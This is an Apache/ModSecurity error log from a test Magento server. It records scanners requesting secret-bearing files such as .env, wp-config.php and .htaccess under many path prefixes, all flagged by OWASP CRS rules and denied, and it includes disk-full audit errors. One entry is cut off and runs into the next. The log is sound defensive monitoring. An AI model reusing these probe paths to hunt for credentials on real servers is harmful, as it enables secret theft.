[Sun Mar 15 09:07:43.671775 2026] [:error] [pid 2711296] [client 217.170.194.172:52377] [client 217.170.194.172] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /1e6bxtntb2dx4nynbk.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/1E6bXtNTB2dx4NynBk.htaccess"] [unique_id "abZoz7jeJp5y3TaaIj9vlQAAAAg"]
[Sun Mar 15 09:07:43.671979 2026] [:error] [pid 2711296] [client 217.170.194.172:52377] [client 217.170.194.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/1E6bXtNTB2dx4NynBk.htaccess"] [unique_id "abZoz7jeJp5y3TaaIj9vlQAAAAg"]
[Sun Mar 15 09:07:43.672117 2026] [:error] [pid 2711296] [client 217.170.194.172:52377] [client 217.170.194.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/1E6bXtNTB2dx4NynBk.htaccess"] [unique_id "abZoz7jeJp5y3TaaIj9vlQAAAAg"]
[Sun Mar 15 09:07:43.973661 2026] [:error] [pid 2708246] [client 217.170.194.172:59759] [client 217.170.194.172] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /c86cipbpgsorwzmsryx.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/c86cIpBPgSOrWZMSRyX.htaccess"] [unique_id "abZoz1RPDbn7htWAttPztQAAAAI"]
[Sun Mar 15 09:07:43.973872 2026] [:error] [pid 2708246] [client 217.170.194.172:59759] [client 217.170.194.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/c86cIpBPgSOrWZMSRyX.htaccess"] [unique_id "abZoz1RPDbn7htWAttPztQAAAAI"]
[Sun Mar 15 09:07:43.973994 2026] [:error] [pid 2708246] [client 217.170.194.172:59759] [client 217.170.194.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/c86cIpBPgSOrWZMSRyX.htaccess"] [unique_id "abZoz1RPDbn7htWAttPztQAAAAI"]
[Sun Mar 15 09:07:44.285524 2026] [authz_core:error] [pid 2711295] [client 217.170.194.172:42027] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/.htaccess
[Sun Mar 15 09:08:24.333362 2026] [:error] [pid 2708248] [client 217.170.194.172:35415] [client 217.170.194.172] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "abZo-ANoJq7fnUw0FhGOPgAAAAQ"]
[Sun Mar 15 09:08:24.333599 2026] [:error] [pid 2708248] [client 217.170.194.172:35415] [client 217.170.194.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "abZo-ANoJq7fnUw0FhGOPgAAAAQ"]
[Sun Mar 15 09:08:24.333742 2026] [:error] [pid 2708248] [client 217.170.194.172:35415] [client 217.170.194.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "abZo-ANoJq7fnUw0FhGOPgAAAAQ"]
[Sun Mar 15 09:10:17.306613 2026] [:error] [pid 2708247] [client 217.170.194.172:57027] [client 217.170.194.172] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.malware"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "abZpaWAJ710PJa37ZB3wowAAAAM"]
[Sun Mar 15 09:10:17.306823 2026] [:error] [pid 2708247] [client 217.170.194.172:57027] [client 217.170.194.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "abZpaWAJ710PJa37ZB3wowAAAAM"]
[Sun Mar 15 09:10:17.306945 2026] [:error] [pid 2708247] [client 217.170.194.172:57027] [client 217.170.194.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "abZpaWAJ710PJa37ZB3wowAAAAM"]
[Sun Mar 15 09:10:23.033809 2026] [:error] [pid 2708247] [client 217.170.194.172:32989] [client 217.170.194.172] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.suspected"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "abZpb2AJ710PJa37ZB3wpQAAAAM"]
[Sun Mar 15 09:10:23.034022 2026] [:error] [pid 2708247] [client 217.170.194.172:32989] [client 217.170.194.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "abZpb2AJ710PJa37ZB3wpQAAAAM"]
[Sun Mar 15 09:10:23.034139 2026] [:error] [pid 2708247] [client 217.170.194.172:32989] [client 217.170.194.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "abZpb2AJ710PJa37ZB3wpQAAAAM"]
[Sun Mar 15 09:47:27.971783 2026] [:error] [pid 2708281] [client 46.246.122.100:33812] [client 46.246.122.100] ModSecurity: Audit log: Failed writing (requested 15 bytes, written 0): No space left on device [hostname "forst-trento.test.indacotrentino.com"] [uri "/pub/f65cf17419.php"] [unique_id "abZyH4j6PU2DhLTOjMHB5gAAAAY"]
[Sun Mar 15 09:47:28.399296 2026] [:error] [pid 2708247] [client 46.246.122.100:21612] [client 46.246.122.100] ModSecurity: Audit log: Failed writing (requested 15 bytes, written 0): No space left on device [hostname "forst-trento.test.indacotrentino.com"] [uri "/pub/index.php"] [unique_id "abZyIGAJ710PJa37ZB3xcQAAAAM"]
[Sun Mar 15 09:47:28.776776 2026] [:error] [pid 2708248] [client 46.246.122.100:55229] [client 46.246.122.100] ModSecurity: Audit log: Failed writing (requested 15 bytes, written 0): No space left on device [hostname "forst-trento.test.indacotrentino.com"] [uri "/pub/index.php"] [unique_id "abZyIANoJq7fnUw0FhGPNQAAAAQ"]
[Sun Mar 15 09:47:29.153031 2026] [:error] [pid 2711296] [client 46.246.122.100:44989] [client 46.246.122.100] ModSecurity: Audit log: Failed writing (requested 15 bytes, written 0): No space left on device [hostname "forst-trento.test.indacotrentino.com"] [uri "/pub/index.php"] [unique_id "abZyIbjeJp5y3TaaIj9wmwAAAAg"]
[Sun Mar 15 09:47:29.529107 2026] [:error] [pid 2708244] [client 46.246.122.100:5318] [client 46.246.122.100] ModSecurity: Audit log: Failed writing (requested 15 bytes, written 0): No space left on device [hostname "forst-trento.test.indacotrentino.com"] [uri "/pub/index.php"] [unique_id "abZyIcvpIxk5lGn4VceGOQAAAAA"]
[Sun Mar 15 09:47:29.899769 2026] [:error] [pid 2708245] [client 46.246.122.100:5524] [client 46.246.122.100] ModSecurity: Audit log: Failed writing (requested 15 bytes, writt[Sun Mar 15 10:47:10.344833 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abaAHlRPDbn7htWAttP11gAAAAI"]
[Sun Mar 15 10:47:10.345040 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abaAHlRPDbn7htWAttP11gAAAAI"]
[Sun Mar 15 10:47:10.345165 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abaAHlRPDbn7htWAttP11gAAAAI"]
[Sun Mar 15 10:47:10.367363 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "abaAHlRPDbn7htWAttP11wAAAAI"]
[Sun Mar 15 10:47:10.367551 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "abaAHlRPDbn7htWAttP11wAAAAI"]
[Sun Mar 15 10:47:10.367669 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "abaAHlRPDbn7htWAttP11wAAAAI"]
[Sun Mar 15 10:47:10.389688 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "abaAHlRPDbn7htWAttP12AAAAAI"]
[Sun Mar 15 10:47:10.389881 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "abaAHlRPDbn7htWAttP12AAAAAI"]
[Sun Mar 15 10:47:10.390000 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "abaAHlRPDbn7htWAttP12AAAAAI"]
[Sun Mar 15 10:47:10.413586 2026] [authz_core:error] [pid 2708246] [client 185.177.72.49:41458] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/.env
[Sun Mar 15 10:47:10.435849 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web/.env"] [unique_id "abaAHlRPDbn7htWAttP12gAAAAI"]
[Sun Mar 15 10:47:10.436040 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web/.env"] [unique_id "abaAHlRPDbn7htWAttP12gAAAAI"]
[Sun Mar 15 10:47:10.436162 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web/.env"] [unique_id "abaAHlRPDbn7htWAttP12gAAAAI"]
[Sun Mar 15 10:47:10.458286 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "abaAHlRPDbn7htWAttP12wAAAAI"]
[Sun Mar 15 10:47:10.458510 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "abaAHlRPDbn7htWAttP12wAAAAI"]
[Sun Mar 15 10:47:10.458635 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "abaAHlRPDbn7htWAttP12wAAAAI"]
[Sun Mar 15 10:47:10.480712 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "abaAHlRPDbn7htWAttP13AAAAAI"]
[Sun Mar 15 10:47:10.480924 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "abaAHlRPDbn7htWAttP13AAAAAI"]
[Sun Mar 15 10:47:10.481076 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "abaAHlRPDbn7htWAttP13AAAAAI"]
[Sun Mar 15 10:47:10.503917 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /site/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/site/.env"] [unique_id "abaAHlRPDbn7htWAttP13QAAAAI"]
[Sun Mar 15 10:47:10.504118 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/site/.env"] [unique_id "abaAHlRPDbn7htWAttP13QAAAAI"]
[Sun Mar 15 10:47:10.504237 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/site/.env"] [unique_id "abaAHlRPDbn7htWAttP13QAAAAI"]
[Sun Mar 15 10:47:10.526415 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /www/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/www/.env"] [unique_id "abaAHlRPDbn7htWAttP13gAAAAI"]
